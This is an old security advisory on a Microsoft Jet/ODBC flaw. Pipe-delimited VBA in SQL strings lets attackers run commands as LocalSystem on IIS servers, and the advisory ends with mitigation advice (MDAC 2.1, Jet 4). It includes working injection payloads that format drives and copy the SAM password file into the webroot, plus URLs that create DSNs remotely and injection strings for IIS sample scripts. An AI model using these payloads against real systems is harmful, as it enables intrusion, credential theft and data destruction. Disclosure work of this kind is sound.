COMMAND

    ODBC

SYSTEMS AFFECTED

    NT ODBC Remote Compromise

PROBLEM

    ".rain.forest.puppy."  found  following.   MS  Jet database engine
    (which runs Access databases) allows an individual to embed VBA in
    string  expressions,  which  may  allow  the  individual  to   run
    commandline NT  commands.   This, combined  with the  flaw of  IIS
    running ODBC commands as  system_local allow a remote  attacker to
    have  full  control  of  the  system.   Other  webservers  may  be
    affected.  Many MS Jet engines  are affected, but may not lead  to
    elevated priviledges.

    ODBC allows a  program flexible access  to one or  more relational
    databases using  SQL.   If a  client fails  to quote correctly the
    meta  characters  in  a  piece  of  data  used in an SQL query, an
    attacker may be able to interfere with the tables in the  database
    (see  MS  SQL  appension  'feature'  in  Phrack  54,  article  8).
    However,  the  Microsoft  "Jet"  database  engine  (aka MS Access)
    provides some extensions to SQL  which allow the execution of  VBA
    (Visual  Basic  for  Applications).   This  makes  holes  in  meta
    character quoting code much more interesting and dangerous.

    In SQL, strings must  be enclosed in single  quotes.  If a  string
    includes a single quote it must be escaped by doubling it up.  The
    Jet  engine  extends  this  by  allowing  strings to enclose a VBA
    expression  inside  vertical  bar  characters  in the string, like
    this:

        select 'lil'' string | 6+7 | with number' as foo from table;

    This will produce a recordset containing one field with the  value
    "lil' string  13 with  number" for  each row  of the  input table.
    Innocent enough, if  the CGI or  ASP programs correctly  quote the
    incoming  data.   However,  since  the  pipe  operator is a rather
    obscure character and is very poorly documented, most people don't
    know it's there - apparently even Microsoft programmers.

    Where does  it apply?   Any textual  data included  in a  Jet  SQL
    query can contain quoted VBA, whether it is in data to be inserted
    in a new record or part of a condition expression.  This makes the
    hole very general  (or flexible, if  you prefer), since  you don't
    need to know  the context in  which the string  will be evaluated.
    The biggest restriction is that  the code must be evaluated  in an
    expression context - no statements.   Anything listed as "VBA"  in
    the "Functions Reference" page of the Access Help file will  work,
    although this seems to vary  between versions of the Jet  engine -
    for example, in some cases the "eval" function works and in others
    it doesn't (although when  it is available, eval  doesn't actually
    help  much  because  the  |...|  operator  offers a similar if not
    identical context).

    The most useful command is "shell", although this in itself cannot
    do redirections or  pipes - cmd.exe  can assist with  this though.
    By using the shell function  and running cmd.exe, an attacker  can
    run any command on  the system.  environ()  can also be useful  to
    get environment  variables values  into your  commands, and  chr()
    can  be   very  handy   for  quoting   awkward  characters   using
    alphanumerics and brackets.  There are also the standard functions
    like  iif()   and  various   string  operations   (use  "&"    for
    concatenation).  It  would be very  difficult to include  any kind
    of  loop  in  the  VBA  fragment  because loops do not have return
    values.

    Which characters  need quoting,  and how?   If the  exploit string
    will  be  passing  through  anything  that tries to escape special
    characters then  ' will  be double  up -  best to  use "  instead.
    Ironically,  the  vertical  bar  character  can only be escaped by
    using it to evaluate the  chr(124) function.  VBA will  take pairs
    of double-quotes  (") in  a VBA  string constant  the same way SQL
    will take  pairs of  single-quotes. If  this doesn't  seem to work
    you  can  always  use  chr(34).   ASP  also  provides a convenient
    debugging aid -  if the expression  cannot be correctly  evaluated
    the error message will often include the whole SQL query with  the
    partially  decoded  exploit  string  in  it--this  could  help  an
    attacker  'tweak'  the  exploit  string  until  it  works.  If the
    command needs to be broken up with newlines, they can be  inserted
    between VBA operators inside the |...| construction.

    An example of a pipeline:

        |shell("cmd /c echo " & chr(124) & " format a:")|

    will format  whatever is  in the  floppy drive  at the  time.  Any
    errors will be silently ignored, although an iconised window  will
    take the focus for  the duration of the  command.  Using "cmd  /c"
    allows the  command piping  necessary to  get a  newline into  the
    format  command,  otherwise  the  pipe  and 'format' are passed as
    arguments to 'echo'.  This string can be included in anything from
    a simple ODBC  operation to a  text item in  an ASP form  on a web
    page.  The function will normally evaluate to a two or three digit
    number.  A more sophie's-stick-ate-it example involves grabbing  a
    copy of the SAM:

        |shell("cmd /c rdisk /S-")|
        |shell("cmd /c copy c:\winnt\repair\sam._ c:\inetput\wwwroot")|

    Example  above  includes  assumptions  about  the  location of the
    system  and  www  publishing  directory;  it's  only  an  example.
    Commands can be stacked:

        |shell("cmd /c echo 1 > %temp%\foo.txt") & shell("cmd /c echo 2 \
        >> %temp%\foo.txt") & shell("cmd /c echo 3 >> %temp%\foo.txt")|

    Line broken  for clarity!!!!   It is  not clear  that the commands
    will always  be executed  in order.   Each shell  command executes
    asynchronously so  the code  above has  two races  for whether the
    shell  commands  finish  updating  the  file  before  the next one
    starts - results will be variable.

    Ultimately the hole allows anything since you can up/download  and
    run any code, but modifying registry  keys from VBA seems to be  a
    little tricky.  The  method using advapi32.dll won't  work because
    it requires statements to declare functions from the library,  but
    there doesn't  seem to  be a  way of  giving a  statement a return
    value in VBA.  It would be easier to create a temporary .reg  file
    and then  merge it  with "cmd  /c regedit  /s %temp%\tmp.reg"; the
    '/s'   is   important,   as   it   suppresses   the  informational
    dialogs/windows.

    The dangerous  part comes  from a  context misinterpretation  with
    IIS.   IIS  runs  as  system_local;  it  changes its token context
    (typically  to  IUSR_xxx)  for  filesystem  access and application
    execution.    However,  the   context  does   *NOT*  change   when
    interfacing with the ODBC API.  Therefore all ODBC functions  (and
    the associated database  calls) are happening  under system_local.
    This allows full access to the system.

    This problem can  be used over  the web against  scripts that make
    queries against local MS Jet  ODBC DSNs, therefore, any script  or
    application  that  uses  a  MS  Jet  ODBC DSN could potentially be
    exploited.

    Ok, so let's  get down to  some nitty-gritty, real-life  examples.
    We'll give a  few that just  demonstrate the problem....but  since
    any script/application that gives  user entered strings to  the MS
    Jet ODBC DSN are vulnerable, we're not going to laundry-list them;
    rather, we'll show some of the  more common cases we found.   Just
    some  really  quick  background  on  ODBC  &  DSNs: an application
    'connects' to the ODBC service specifying a specific DSN to  query
    to.   The DSNs  are defined  in the  ODBC32 applet  of the control
    panel.  Each  DSN is basically  a description of  the name of  the
    DSN, the drivers to use (in our case, the MS Jet/Access  drivers),
    and location of the actual database (a .mdb file somewhere in  the
    filesystem).  We  could also have  DSNs that used  drivers such as
    Oracle or MS Sql, and the  location would be another server.   The
    whole point is that you only need to know the DSN name--ODBC  will
    take care of where and how the actual database is to be used.  So,
    great, these scripts query a DSN  by name.  Well, there are  times
    were a server can have the  scripts we mention, but when ran,  you
    get an error saying DSN is not found.  So now what?  Well, if it's
    an     IIS     server,     check     for     the    existance   of
    /scripts/tools/newdsn.exe.  Yes, IIS includes CGI appliations  *to
    make DSNs*.  If  the server doesn't have  the DSN we need,  we can
    just make it for them.  We only need newdsn.exe, but it's possible
    to  use  a  'GUI'  through  getdrvrs.exe  and dsnform.exe.  Here's
    a flowchart:

        http://server/scripts/tools/getdrvrs.exe
        -> pick Microsoft Access Driver (*.mdb)
        -> Enter in the correct DSN name
        -> Enter a location for the .mdb, example: c:\web.mdb
        -> Submit

    This will create the DSN.  If you want to be ultra-elite and do it
    the hard way, you can  pass all the parameters to  newdsn.exe like
    so:

        http://server/scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=DSN_name&dbq=c:\web.mdb&newdb=CREATE_DB&attr=

    Where dsn is the name you want, and dbq is the file location.   So
    for all the examples, we'll include the DSN name, just in case you
    have to create it.

    A good example script is

        http://server/scripts/samples/details.idc?Fname=&Lname=

    stick your shellcode in for either Fname or Lname, like so:

        details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|

    This uses DSN named "Web  SQL" (notice the space).   However, this
    causes problems, because the  actual table must be  initialized in
    the DSN.  Never pheer, scripts are here!  Run

        http://server/scripts/samples/ctguestb.idc

    after  you  create  the  DSN  (if  you  had to) and before you run
    details.idc.  Starting with IIS 4.0, Microsoft bundled a way to do
    remote SQL queries on a DSN  simply by interfacting via HTTP to  a
    specific .dll.  Bug?  Hole?  Nope, in the documentation  Microsoft
    states  that  having  MSADC  installed  could  lead  to   security
    problems.  The particular .dll is at

        http://server/msadc/msadcs.dll

    Now the particular problem is  that there's a slightly custom  way
    to interface to the .dll,  using multipart-forms.  So it's  beyond
    the scope of just  typing in a paramter  by hand.  So  there's two
    options.   One is  to see  if the  server also  has the (optional)
    interface installed.  Check out for the existance of

        http://server/msadc/samples/adctest.asp

    Note: you have to use Internet Explorer 4.0+ for this.  This  will
    give you a  Java/Javascript interface that  allows you to  specify
    the  DSN,  uid/password,  and  SQL  string  to execute.  Note that
    you'll have to obtain the  table structure for the DSNs  mentioned
    herein, because you'll  need to construct  a valid SQL  statement.
    The other option  is to obtain  those files yourself  from another
    server, or  download and  install the  MS RDS/ADO/ADC  components.
    Look at

        http://www.microsoft.com/data/ado/

    for more info and  where to download.   One note is that  the Java
    interface lets you specify which server  to use.  So you can  open
    the interface locally, off your  own server, or find it  on server
    1, and specify to run SQL commands against whatever DSN on  server
    2.  The one caveat is that error information is not displayed.  It
    helps to have a sniffer going  to see if what ODBC error  messages
    are returned,  if any.   If you  don't get  a record  listing, you
    might want to see what the error was.

    You can obviously just execute SQL commands that contain the  pipe
    character.  For instance:

        Connection: DSN=AdvWorks
        Query: Select * from Products where ProductType='|shell("")|'

    Insert your shellcode in the shell() function.  Note: The code  is
    server-side ASP  Javascript.   As a  number of  people will  point
    out, running it at the client isn't going to help.

    Bronek Kozicki  has done  some testings  too.   If instead of .IDC
    (which is  considered obsolete)  one is  using .ASP  + ADODB,  and
    ADODB  provider  used  is  "Microsoft.Jet.OLEDB.3.51"  (i.e. older
    than "4.0") then problem still exists.  It's worthy to notice that
    SQL  implementation  used  in  both  Jet  4  and Jet 3.5 is little
    different.   Thus  applications  (in  some  situations)  cannot be
    simple  ported  from  one  to  another.   One  thing  he  found is
    different  handling  of  single-  and  double-qoute character.  MS
    still have not documented differences   AFAIK MS Jet 4 comes  with
    Microsoft Data Access 2.1 (MSDAC21).  Following is test platform:

    System: WinNT Wrkst 4  US, SP5 , IE5  , IIS 4 (Option  Pack), ODBC
            MS  Access  Driver  4.00.3513.00,  other  (cursor library,
            administrator etc.) ODBC files 3.510.3711.0
  Database: Access  97,  Jet   3.51.2026.0  (also  Jet    4.00.2115.25
            installed,  but  Access  97  uses  older  version)   Table
            "guests" as described in Web SQL.

    Query "SecurityTest" as bellow:

        SELECT FirstName, LastName FROM Guests WHERE LastName = '|Shell("notepad.exe",1)|';

    What happens:

    - If you open the query under MS Access, it opens Notepad app  and
      shows  the  (empty)  resultset.  So  far mentioned SQL "feature"
      works.
    - If  you use  MSQRY32.EXE to  open the  database (), nothing more
      happen than showing the resultset (empty one).  The same if  you
      run SQRY32 from within MS Excel ("Get Externala Data")
    - Create TEST.IDC file as bellow (and TEST.HTX, of course):
        Datasource: Web SQL
        Username: sa
        Template: details.htx
        SQLStatement:
        +SELECT FirstName, LastName
        +FROM SecurityTest
      and  opened  it  through  HTTP.  The  only  result  is  an empty
      resultset.   If you  check list  of processes  (using TLIST.EXE)
      you'll see notepad was not run.
    - Create TEST2.IDC file as bellow:
        Datasource: Web SQL
        Username: sa
        Template: details.htx
        SQLStatement:
        +SELECT FirstName, LastName
        +FROM Guests
        +WHERE LastName <> '|Shell("notepad.exe",1)|'

    The same. Notepad did not run.

    - Created very simple .ASP
        <HTML>
        <HEAD>
        <%
        Param = Request.QueryString("Param")
        Data = Request.QueryString("Data")
        %>
        </HEAD>

        <BODY>
        <%
        Set Conn1 = CreateObject("ADODB.Connection")
        'strConn = "Provider=Microsoft.Jet.OLEDB.3.51;Data
        Source=c:\temp\test.mdb;Mode=Read"
        strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data
        Source=c:\temp\test.mdb;Mode=Read"
        strSQL = "SELECT FirstName , LastName FROM SecurityTest"

        Conn1.Open strConn
        Set RSet1 = Conn1.Execute(strSQL)
        RSet1.Close
        Conn1.Close
        %>
        </BODY>
        </HTML>

    Notice that there  are 2 connection  strings, one is  used and the
    other commented out. Upper connection string

        ("Provider=Microsoft.Jet.OLEDB.3.51")

    is UNSAFE. When opened .ASP will start NOTEPAD.EXE in the  context
    of WWW server.   If WWW client can  type-in any literal into  HTML
    form,  pass  it  to  .ASP  application  (for  exaple to be used in
    "WHERE" clause)  and it  remains non-parsed,  then he/she  will be
    able to run  ANY code in  the context of  LocalSystem.  If  such a
    WWW server is also domain controller ...  Lower connection  string
    ("Provider=Microsoft.Jet.OLEDB.4.0") seems to be safe.

    Daryl  Banttari  reports  that  Allaire's  ColdFusion  product  is
    vulnerable to the same  attack when using Access  datasources, but
    appears not to be vulnerable after installing MDAC 2.1.

SOLUTION

    Note  the  following  excerpt  from  a  MS Knowledge Base article:
    (http://support.microsoft.com/support/kb/articles/q147/6/87.asp):

      Pipe Character or Vertical Bar

      The pipe character or vertical  bar is a reserved character  for
      the Jet database  engine.  It  tells the Jet  database engine to
      evaluate  the  identifier  before  evaluating  the  rest  of the
      expression.   Therefore,  the  Jet  database  engine inserts the
      value of the identifier in the expression, and then evaluates it

      Vertical bars are used most often in domain aggregate  functions
      when  you  want  the  function  to automatically recalculate the
      value it returns in  filters.  Or vertical  bars are used as  an
      alternative to the ampersand  (&) operator when you  concatenate
      text values.  Because of this, you cannot embed the vertical bar
      (|) in  a literal  string, you  must embed  the Chr()  function.
      Chr(124) is the vertical bar.

    The solution is to not use MS Jet ODBC drivers for any  DSN--until
    Microsoft releases a fix.  But since this is a documented feature,
    there stands a chance that some applications may break if removed.
    Bronek Kozicki has done some testings too.  Seems like this  error
    has been repaired in MSJET40, but exists in MSJET35.  Effectively,
    if Jet 4 is installed (and  it's used by ODBC) there's no  problem
    with .IDC files.  Because MS  Access 97 is using Jet 3.5  (even if
    Jet 4 is installed), the problem still can be seen there.

    MDAC 2.1  solves the  problems described.   The fact  is that  you
    should  not  simply  upgrade  to  it without understanding what it
    changes (and what effect those  changes may have on your  existing
    environment).  So:

        http://www.microsoft.com/data/MDAC21info/MDAC21GAmanifest.htm

    which has a  ton of information  about the MDAC  2.1 release.   If
    you are using Excel data sources and are updating data in them you
    will want to keep  in mind that upgrading  to MDAC 2.1 will  break
    those data sources. MDAC 2.1 no longer supports the update  method
    for Excel data sources.  This will, for example, cause Cold Fusion
    to access violate, and often causes crashes in InetSrv.exe if  you
    are using IIS.

    If you are using Microsoft Access with your Web applications  Cold
    Fusion team strongly recommends that you review this bulletin:

        ASB99-09: Solutions  to  Issues  that  Allow Users to  Execute
                  Commands through Microsoft Access